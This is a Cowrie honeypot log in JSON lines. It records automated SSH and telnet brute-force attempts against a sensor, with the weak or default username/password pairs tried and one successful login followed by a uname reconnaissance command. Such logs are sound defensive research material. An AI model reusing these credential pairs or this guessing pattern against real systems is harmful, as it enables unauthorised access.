{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:44.359374Z","src_ip":"192.109.200.237","session":"9c39c3c0ff5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08ab33f8fc3","protocol":"telnet","message":"New connection: 152.42.224.71:56570 (10.17.0.5:23) [session: c08ab33f8fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:45.700748Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37698,"dst_ip":"159.203.135.109","dst_port":22,"session":"b72daefd2c61","protocol":"ssh","message":"New connection: 192.109.200.237:37698 (159.203.135.109:22) [session: b72daefd2c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:46.036638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:46.129217Z","src_ip":"192.109.200.237","session":"b72daefd2c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:46.133315Z","src_ip":"192.109.200.237","session":"b72daefd2c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:46.524449Z","src_ip":"192.109.200.237","session":"b72daefd2c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:47.609959Z","src_ip":"192.109.200.237","session":"b72daefd2c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37702,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad3c5cf20bf","protocol":"ssh","message":"New connection: 192.109.200.237:37702 (159.203.135.109:22) [session: 6ad3c5cf20bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:49.262768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:49.267876Z","src_ip":"192.109.200.237","session":"6ad3c5cf20bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:49.351803Z","src_ip":"192.109.200.237","session":"6ad3c5cf20bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:49.604005Z","src_ip":"192.109.200.237","session":"6ad3c5cf20bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:50.689651Z","src_ip":"192.109.200.237","session":"6ad3c5cf20bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.248382806777954,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:50.792259Z","src_ip":"152.42.224.71","session":"19434763e7f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48076,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72faa8cb1b1","protocol":"telnet","message":"New connection: 152.42.224.71:48076 (10.17.0.5:23) [session: b72faa8cb1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:50.828318Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48092,"dst_ip":"10.17.0.5","dst_port":23,"session":"22491cd6fcfb","protocol":"telnet","message":"New connection: 152.42.224.71:48092 (10.17.0.5:23) [session: 22491cd6fcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:50.951785Z"}
{"eventid":"cowrie.session.closed","duration":102.7943103313446,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:51.848572Z","src_ip":"152.42.224.71","session":"d9d1ac86e1f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41042,"dst_ip":"159.203.135.109","dst_port":22,"session":"0edd9d5d5e02","protocol":"ssh","message":"New connection: 192.109.200.237:41042 (159.203.135.109:22) [session: 0edd9d5d5e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.343593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.348766Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.430771Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.677771Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.883313Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.886307Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.974249Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.980014Z","src_ip":"192.109.200.237","session":"0edd9d5d5e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00986433029175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:52.983345Z","src_ip":"46.60.48.98","session":"d74338f2dcd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":40940,"dst_ip":"159.203.135.109","dst_port":23,"session":"9377652b74cd","protocol":"telnet","message":"New connection: 46.60.48.98:40940 (159.203.135.109:23) [session: 9377652b74cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:53.621672Z"}
{"eventid":"cowrie.session.closed","duration":120.00120449066162,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:54.008999Z","src_ip":"46.60.48.98","session":"2896de8e358a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41052,"dst_ip":"159.203.135.109","dst_port":22,"session":"eafc9fa04f95","protocol":"ssh","message":"New connection: 192.109.200.237:41052 (159.203.135.109:22) [session: eafc9fa04f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:55.465150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:55.469623Z","src_ip":"192.109.200.237","session":"eafc9fa04f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:55.553039Z","src_ip":"192.109.200.237","session":"eafc9fa04f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:55.807774Z","src_ip":"192.109.200.237","session":"eafc9fa04f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209665298462,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:56.390356Z","src_ip":"46.60.48.98","session":"8ece83d22852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:56.894769Z","src_ip":"192.109.200.237","session":"eafc9fa04f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41064,"dst_ip":"159.203.135.109","dst_port":22,"session":"921c4293347d","protocol":"ssh","message":"New connection: 192.109.200.237:41064 (159.203.135.109:22) [session: 921c4293347d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.619574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.624949Z","src_ip":"192.109.200.237","session":"921c4293347d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.707759Z","src_ip":"192.109.200.237","session":"921c4293347d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.956390Z","src_ip":"192.109.200.237","session":"921c4293347d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":34762,"dst_ip":"159.203.135.109","dst_port":23,"session":"24860a32e8e1","protocol":"telnet","message":"New connection: 213.108.3.46:34762 (159.203.135.109:23) [session: 24860a32e8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.970838Z"}
{"eventid":"cowrie.session.closed","duration":0.017567873001098633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:58.988300Z","src_ip":"213.108.3.46","session":"24860a32e8e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:00.042414Z","src_ip":"192.109.200.237","session":"921c4293347d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39384,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08fca041cb1","protocol":"ssh","message":"New connection: 192.109.200.237:39384 (159.203.135.109:22) [session: e08fca041cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:01.753155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:01.758516Z","src_ip":"192.109.200.237","session":"e08fca041cb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:01.841543Z","src_ip":"192.109.200.237","session":"e08fca041cb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:02.164573Z","src_ip":"192.109.200.237","session":"e08fca041cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:03.250085Z","src_ip":"192.109.200.237","session":"e08fca041cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39426,"dst_ip":"159.203.135.109","dst_port":22,"session":"81a760f93630","protocol":"ssh","message":"New connection: 192.109.200.237:39426 (159.203.135.109:22) [session: 81a760f93630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:05.069688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:05.074525Z","src_ip":"192.109.200.237","session":"81a760f93630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:05.159216Z","src_ip":"192.109.200.237","session":"81a760f93630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:05.421800Z","src_ip":"192.109.200.237","session":"81a760f93630","protocol":"ssh"}
